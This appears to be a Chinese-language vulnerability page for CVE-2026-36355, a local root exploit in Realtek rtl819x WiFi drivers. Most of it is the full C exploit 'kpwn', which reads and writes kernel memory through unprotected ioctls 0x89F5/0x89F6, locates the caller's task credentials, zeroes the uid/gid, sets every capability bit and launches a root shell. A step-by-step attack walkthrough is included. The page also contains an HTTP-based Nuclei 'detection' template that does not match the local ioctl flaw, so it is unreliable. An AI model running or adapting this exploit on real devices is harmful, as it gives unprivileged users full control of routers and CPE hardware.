[local] Realtek rtl819x - Local Privilege

Realtek rtl819x WiFi驱动本地提权漏洞CVE-2026-36355:ioctl 0x89F5/0x89F6缺少能力检查,非特权用户通过内存读写可root提权。影响RTL8192C/D/E等多款芯片,Jungle SDK v3.4.14B及以下版本。PoC漏洞分析、攻击步骤、修复建议。

CVE-2026-36355

Realtek rtl819x WiFi驱动ioctl缺少权限检查,非授权用户可通过内存读写提升至root权限。

High · CVSS 7.8

📋 漏洞基础信息

CVECVE-2026-36355
漏洞类型本地权限提升(ioctl缺少能力检查)
受影响版本Realtek rtl819x Jungle SDK 所有已知版本至v3.4.14B;芯片包括RTL8192C/D/E、RTL8188E、RTL8812、RTL8881A、RTL8197F等
危害等级High · CVSS 7.8
发布日期2026-05-27
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Realtek rtl819x out-of-tree WiFi驱动SDK中对ioctl 0x89F5(write_mem)和0x89F6(read_mem)缺少必要的能力检查(capability checks),导致任意非特权用户可直接读写内核内存。

🎯 攻击场景

1. 前置条件:目标设备使用Realtek rtl819x驱动SDK,且无KASLR(ARM环境)。2. 攻击者以任意非特权用户身份运行PoC。3. PoC创建原始socket,扫描/sys/class/net找到受影响的无线接口。4. 通过ioctl 0x89F6读取内核.data段,暴力搜索init_task结构(通过匹配'swapper'字符串和校验cred指针的uid/gid=0)。5. 自动检测task_struct中tasks、pid、cred、comm字段偏移。6. 从init_task沿tasks链表向后遍历,找到当前进程的task_struct。7. 读取当前进程的cred结构地址,然后通过ioctl 0x89F5将cred中的uid/gid/securebits置0,并将capability位图写为全1。8. 成功提权后执行/bin/sh获得root shell。

💥 漏洞影响

攻击者可以以任意非特权用户身份获得内核级代码执行能力,完全控制设备:读写任意内核内存、提升至root权限、修改系统凭证、绕过所有安全机制。

⚔️ 原始 PoC

PoC分以下关键阶段:1. 定义ioctl命令码0x89F5(写内存)和0x89F6(读内存),通过struct iwreq封装命令字符串(格式'dw,addr,ndw'或'dw,addr,ndw,val')。2. find_interface()遍历/sys/class/net,尝试读取固定地址0xC0008000验证驱动是否响应。3. scan_for_init_task()在0xC0800000~0xC1000000范围内每128字节读取内存,搜索字符串'swapper'并校验cred指针(必须是0xC0000000~0xFFFFFFFF,且指向的usage>0、uid=0、gid=0)。4. detect_offsets()批量读取init_task的0x600字节,依次定位comm('swapper')、cred(comm前4-16字节中的合法内核指针)、tasks(非自引用的list_head,且下一个任务具有可打印comm)、pid(值为0且相邻任务pid不同)。5. find_task()从init_task的tasks->prev开始向后遍历,批量读取或单次读取找到目标PID。6. 读取cred+0x04处的uid和gid确认匹配,然后kfill将cred+0x04处9个32位字清零(uid/gid/securebits),再将cred+0x28处8个32位字写0xFFFFFFFF(capability集合)。最终校验getuid()==0后执行shell。

* Exploit Title: Realtek rtl819x  - Local Privilege Escalation 
 * Date: 2026-05-03
 * Exploit Author: Daniil Gordeev
 * Vendor Homepage: http://www.realtek.com
 * Software Link: https://github.com/iptime-gpl/userapps_n104qi (representative GPL release)
 * Version: Realtek rtl819x Jungle SDK,all known versions through v3.4.14B
 * Tested on: Linux 3.18.48,ARMv7 Cortex-A7,
Qualcomm MDM9607,
rtl8192es.ko (MeiG FORGE_SLT711 / Ortel 4G LTE CPE)
 * CVE: CVE-2026-36355
 *
 * kpwn - RTL8192CD kernel LPE exploit
 *
 * Exploits missing capability checks on ioctl 0x89F5/0x89F6 (write_mem/read_mem)
 * in the Realtek rtl819x out-of-tree WiFi driver SDK.
 *
 * Runs as ANY unprivileged user — no root needed at any stage.
 * Auto-detects task_struct offsets from init_task.
 *
 * Affected: ALL devices using Realtek rtl819x out-of-tree driver SDK
 * Chips: RTL8192C/D/E,
RTL8188E,RTL8812,RTL8881A,RTL8197F,etc.
 *
 * Build: arm-linux-gnueabi-gcc -static -O2 -o tools/kpwn tools/kpwn.c
 * Usage: /tmp/kpwn  (any user,GID 3003/inet on paranoid kernels)
 */

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <errno.h>#include <dirent.h>#include <sys/ioctl.h>#include <sys/socket.h>
#include <linux/wireless.h>#define IOCTL_WRITE  0x89F5   /* SIOCDEVPRIVATE+5: write_mem */
#define IOCTL_READ   0x89F6   /* SIOCDEVPRIVATE+6: read_mem  */

/* kernel .data scan range for init_task (ARM,no KASLR) */
#define DATA_SCAN_START  0xC0800000
#define DATA_SCAN_END    0xC1000000

static int sockfd = -1;static int nioctls = 0;static char ifname[IFNAMSIZ];
/* ---- kernel R/W primitives ---- */

static int kread(unsigned long addr,void *out,int ndw)
{struct iwreq wrq;char buf[256];if (ndw >32) ndw = 32;snprintf(buf,sizeof(buf),"dw,%lx,%x",addr,ndw);memset(&wrq,0,sizeof(wrq));strncpy(wrq.ifr_name,ifname,IFNAMSIZ);wrq.u.data.pointer = buf;wrq.u.data.length = strlen(buf) + 1;if (ioctl(sockfd,IOCTL_READ,&wrq) <0)
        return -1;
nioctls++;int n = wrq.u.data.length;if (n >0 &&out)
        memcpy(out,buf,n >128 ? 128 : n);return n;}static unsigned int kread32(unsigned long addr)
{unsigned int v = 0;kread(addr,&v,1);return v;}static int kfill(unsigned long addr,int ndw,unsigned int val)
{struct iwreq wrq;char buf[256];snprintf(buf,sizeof(buf),"dw,%lx,%x,%x",addr,ndw,val);memset(&wrq,0,sizeof(wrq));
strncpy(wrq.ifr_name,ifname,IFNAMSIZ);wrq.u.data.pointer = buf;wrq.u.data.length = strlen(buf) + 1;if (ioctl(sockfd,IOCTL_WRITE,&wrq) <0)
        return -1;nioctls++;return 0;}/* ---- find vulnerable interface ---- */

static int find_interface(void)
{DIR *d = opendir("/sys/class/net");if (!d) return -1;struct dirent *e;unsigned int probe;while ((e = readdir(d))) {
if (e->d_name[0] == '.' ||strcmp(e->d_name,"lo") == 0)
            continue;strncpy(ifname,e->d_name,IFNAMSIZ - 1);probe = 0;if (kread(0xC0008000,&probe,1) >0 &&probe != 0) {closedir(d);return 0;}}closedir(d);return -1;}/* ---- resolve init_task ---- */

static unsigned long scan_for_init_task(void)
{
/*
     * Brute-force: scan kernel .data for init_task.comm = "swapper".
     * Validate by checking cred pointer (must dereference to uid=0,gid=0).
     *
     * The returned base doesn't need to be exact — detect_offsets finds
     * all field positions relative to the base,
and the math in find_task
     * and the overwrite phase uses (base + offset) pairs where any constant
     * shift cancels out. We just need "swapper" to land within the
     * detect_offsets search window (0x200-0x5F0 from returned base).
     */
    unsigned char buf[128];unsigned long addr;printf("[*] Scanning .data for init_task...\n");for (addr = DATA_SCAN_START;addr <DATA_SCAN_END;
addr += 128) {if (kread(addr,buf,32) <= 0)
            continue;int j;for (j = 0;j <= 128 - 7;j += 4) {if (memcmp(buf + j,"swapper",7) != 0)
                continue;unsigned long comm_addr = addr + j;/* validate: cred pointer just before comm → {usage,uid=0,gid=0}*/
            unsigned int cred_ptr;if (kread(comm_addr - 4,&cred_ptr,1) <= 0)
                continue;
if ((cred_ptr &0xC0000000) != 0xC0000000 ||cred_ptr == 0xFFFFFFFF)
                continue;unsigned int chk[3];if (kread(cred_ptr,chk,3) <= 0)
                continue;if (chk[0] <1 ||chk[0] >= 10000)  /* usage refcount */
                continue;if (chk[1] != 0 ||chk[2] != 0)      /* uid=0,gid=0 */
                continue;
/*
             * Return comm_addr - 0x400 as base. This places comm at
             * offset 0x400 in the detect_offsets window (well within
             * the 0x200-0x5F0 search range). The base doesn't need
             * to be the true struct start — all offset math cancels.
             */
            unsigned long base = comm_addr - 0x400;printf("[+] scan: comm @ 0x%08lx,base 0x%08lx\n",
comm_addr,base);return base;}}return 0;}static unsigned long resolve_init_task(void)
{return scan_for_init_task();}/* ---- auto-detect task_struct layout ---- */

struct offsets {unsigned long tasks,pid,cred,comm;};static int detect_offsets(unsigned long init,struct offsets *o)
{unsigned char data[0x600];int i;/* bulk-read init_task (12 reads,128 bytes each) */
    for (i = 0;i <0x600;
i += 128)
        if (kread(init + i,data + i,32) <= 0) {printf("[-] Read init_task+0x%x failed\n",i);return -1;}/* comm: find "swapper" string — unique,most reliable anchor */
    o->comm = 0;for (i = 0x200;i <0x5F0;i += 4)
        if (memcmp(data + i,"swapper",7) == 0) {o->comm = i;break;}if (!o->comm) {printf("[-] 'swapper' not found in init_task\n");return -1;}
/* cred: kernel pointer just before comm → dereferences to {usage,uid=0,gid=0}*/
    o->cred = 0;for (i = o->comm - 4;i >= (int)o->comm - 16;i -= 4) {unsigned int val = *(unsigned int *)(data + i);if ((val &0xC0000000) == 0xC0000000 &&val != 0xFFFFFFFF) {unsigned int chk[3];if (kread(val,chk,3) >0 &&chk[0] >= 1 &&chk[0] <10000 &&
chk[1] == 0 &&chk[2] == 0) {o->cred = i;break;}}}if (!o->cred) {printf("[-] Cred pointer not found near comm\n");return -1;}/* tasks: non-self-referencing list_head with valid chain and printable comm at next */
    o->tasks = 0;for (i = 0x100;i <0x300;i += 4) {unsigned int next = *(unsigned int *)(data + i);unsigned int prev = *(unsigned int *)(data + i + 4);if ((next &
0xC0000000) != 0xC0000000 ||next == 0xFFFFFFFF) continue;if ((prev &0xC0000000) != 0xC0000000 ||prev == 0xFFFFFFFF) continue;if (next == (unsigned int)(init + i)) continue;unsigned int nn = kread32(next);if ((nn &0xC0000000) != 0xC0000000) continue;unsigned long next_base = (unsigned long)next - i;char tc[8] = {0};if (kread(next_base + o->comm,tc,2) >0 &&
tc[0] >= 0x20 &&tc[0] <0x7F) {o->tasks = i;break;}}if (!o->tasks) {printf("[-] Tasks list_head not found\n");return -1;}/* pid: 0 in init_task,cross-verified against two other tasks (different PIDs) */
    o->pid = 0;unsigned int tasks_next = *(unsigned int *)(data + o->tasks);unsigned long first_base = (unsigned long)tasks_next - o->tasks;
unsigned int second_ptr = kread32(tasks_next);unsigned long second_base = (unsigned long)second_ptr - o->tasks;for (i = o->tasks + 0x20;i <(int)o->comm - 0x20;i += 4) {if (*(unsigned int *)(data + i) != 0) continue;if (*(unsigned int *)(data + i + 4) != 0) continue;/* pid=0 AND tgid=0 */
        unsigned int p1 = kread32(first_base + i);if (p1 == 0 ||p1 >= 32768) continue;
unsigned int p2 = kread32(second_base + i);if (p2 == 0 ||p2 >= 32768) continue;if (p1 == p2) continue;o->pid = i;break;}if (!o->pid) {printf("[-] PID offset not found\n");return -1;}return 0;}/* ---- walk task list backward (newest first,1 ioctl per task) ---- */

static unsigned long find_task(unsigned long init,struct offsets *o,pid_t pid,int *walked)
{
unsigned long head = init + o->tasks;unsigned int buf[32];unsigned long cur;int batch = 0;int span = 0;*walked = 0;/* if pid and tasks fit in one 32-dword read,batch them */
    if (o->pid >o->tasks) {span = (o->pid - o->tasks) / 4 + 1;if (span <= 32) batch = 1;}/* walk backward: tasks.prev (offset +4) points to newest task */
    cur = kread32(head + 4);for (int i = 0;i <
512;i++) {if (cur == head ||cur == 0)
            break;unsigned long base = cur - o->tasks;unsigned int p;unsigned long prev;if (batch) {/* single read gets tasks.next,tasks.prev,and pid */
            if (kread(cur,buf,span) <= 0) break;prev = buf[1];/* tasks.prev = next older task */
            p = buf[(o->pid - o->tasks) / 4];}else {
/* fallback: two individual reads */
            p = kread32(base + o->pid);prev = kread32(cur + 4);}(*walked)++;if (p == (unsigned int)pid)
            return base;cur = prev;}return 0;}/* ---- main ---- */

int main(void)
{uid_t orig_uid = getuid();gid_t orig_gid = getgid();pid_t pid = getpid();printf("kpwn \xe2\x80\x94 RTL8192CD kernel LPE\n");printf("uid=%u gid=%u pid=%d\n\n",orig_uid,
orig_gid,pid);/* socket */
    printf("[*] Creating socket...\n");sockfd = socket(AF_INET,SOCK_DGRAM,0);if (sockfd <0) {printf("[-] socket: %s\n",strerror(errno));if (errno == EACCES)
            printf("[-] Need GID 3003 (inet) on paranoid kernels\n");return 1;}/* find vulnerable interface */
    printf("[*] Scanning interfaces...\n");if (find_interface() <0) {
printf("[-] No rtl819x interface found\n");return 1;}printf("[+] %s — read primitive confirmed\n",ifname);/* resolve init_task */
    printf("[*] Resolving init_task...\n");unsigned long init = resolve_init_task();if (!init) {printf("[-] init_task not found\n");return 1;}printf("[+] init_task @ 0x%08lx\n",init);/* auto-detect offsets */
    printf("[*] Detecting task_struct layout...\n");
struct offsets o;if (detect_offsets(init,&o) <0)
        return 1;printf("[+] comm=0x%03lx cred=0x%03lx tasks=0x%03lx pid=0x%03lx\n",o.comm,o.cred,o.tasks,o.pid);/* find our task_struct */
    printf("[*] Searching for pid %d...\n",pid);int walked = 0;unsigned long task = find_task(init,&o,pid,&walked);if (!task) {printf("[-] pid %d not found (%d tasks walked)\n",pid,walked);
return 1;}/* read and verify cred (batched: cred+comm in one read,uid+gid in one read) */
    unsigned int info[5];char *comm;unsigned long cred;unsigned int k_uid,k_gid;kread(task + o.cred,info,5);/* cred ptr + 16 bytes of comm */
    cred = info[0];comm = (char *)&info[1];unsigned int uids[2];kread(cred + 0x04,uids,2);/* uid + gid */
    k_uid = uids[0];k_gid = uids[1];
printf("[+] task=0x%08lx comm=\"%s\" (%d walked)\n",task,comm,walked);printf("[+] cred=0x%08lx uid=%u gid=%u\n",cred,k_uid,k_gid);if (k_uid != orig_uid) {printf("[-] uid mismatch: kernel=%u userspace=%u\n",k_uid,orig_uid);return 1;}/* overwrite cred ->root (2 ioctls: zero uids + fill all caps) */
    printf("[*] Overwriting credentials...\n");kfill(cred + 0x04,9,0);
/* uid..fsgid + securebits = 0 */
    kfill(cred + 0x28,8,0xFFFFFFFF);/* cap_{inheritable,permitted,effective,bset}= full */

    if (getuid() != 0) {printf("[-] FAILED \xe2\x80\x94 uid still %d after overwrite\n",getuid());return 1;}printf("[+] uid=%d euid=%d gid=%d egid=%d\n\n",getuid(),geteuid(),getgid(),getegid());printf("*** GOT ROOT *** uid=%u ->%d (%d ioctls)\n\n",orig_uid,getuid(),
nioctls);execl("/bin/sh","sh",NULL);printf("[-] execl: %s\n",strerror(errno));return 1;}

🔬 深度技术分析

PoC分以下关键阶段:1. 定义ioctl命令码0x89F5(写内存)和0x89F6(读内存),通过struct iwreq封装命令字符串(格式'dw,addr,ndw'或'dw,addr,ndw,val')。2. find_interface()遍历/sys/class/net,尝试读取固定地址0xC0008000验证驱动是否响应。3. scan_for_init_task()在0xC0800000~0xC1000000范围内每128字节读取内存,搜索字符串'swapper'并校验cred指针(必须是0xC0000000~0xFFFFFFFF,且指向的usage>0、uid=0、gid=0)。4. detect_offsets()批量读取init_task的0x600字节,依次定位comm('swapper')、cred(comm前4-16字节中的合法内核指针)、tasks(非自引用的list_head,且下一个任务具有可打印comm)、pid(值为0且相邻任务pid不同)。5. find_task()从init_task的tasks->prev开始向后遍历,批量读取或单次读取找到目标PID。6. 读取cred+0x04处的uid和gid确认匹配,然后kfill将cred+0x04处9个32位字清零(uid/gid/securebits),再将cred+0x28处8个32位字写0xFFFFFFFF(capability集合)。最终校验getuid()==0后执行shell。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-36355-detection

info:
  name: Realtek rtl819x Local Privilege Escalation Detection
  author: daniil-gordeev
  severity: high
  description: Detects potential presence of vulnerable Realtek rtl819x out-of-tree WiFi driver by checking kernel capabilities for ioctl 0x89F5/0x89F6
  reference:
    - https://www.exploit-db.com/exploits/52000
    - CVE-2026-36355
  tags: cve,cve2026,realtek,lpe,kernel

http:
  - raw:
      - |
GET / HTTP/1.1
        Host: {{Hostname}}Connection: close

      - |POST /cgi-bin/luci/;stok=/locale HTTP/1.1
        Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
        Connection: close

        token=test&_=test

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Realtek"
          - "rtl819"
        condition: or

      - type: word
        words:
          - "stok"
          - "luci"
        condition: or

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body
        regex:
          - '(rtl819[2-9][cde]?|rtl8188e|rtl8812|rtl8881a|rtl8197f)'

🛡️ 修复建议

厂商应发布补丁为ioctl 0x89F5/0x89F6添加CAP_SYS_RAWIO或类似能力检查。临时缓解:移除受影响的WiFi模块,或通过SELinux/AppArmor限制对设备节点(如/dev/wlanX)的访问,或将用户从GID 3003(inet)组中移除

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-29 08:08 | 来源: Exploit-DB

🤖 常见问题解答(FAQ)

❓ 该漏洞需要哪些用户组或能力?

在偏执内核上需要GID 3003(inet组),其他内核无需任何特权和用户组,任意非特权用户即可利用。

❓ 攻击者如何绕过KASLR?

原文指出测试环境为ARM且无KASLR,因此直接硬编码了扫描范围0xC0800000-0xC1000000。若开启KASLR,该方法失效,但PoC未提及绕过。

❓ 此漏洞是否影响所有Realtek WiFi芯片?

仅影响使用Realtek rtl819x out-of-tree驱动SDK的设备,包括RTL8192C/D/E、RTL8188E、RTL8812、RTL8881A、RTL8197F等,不包含使用上游内核驱动(in-tree)的设备。

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)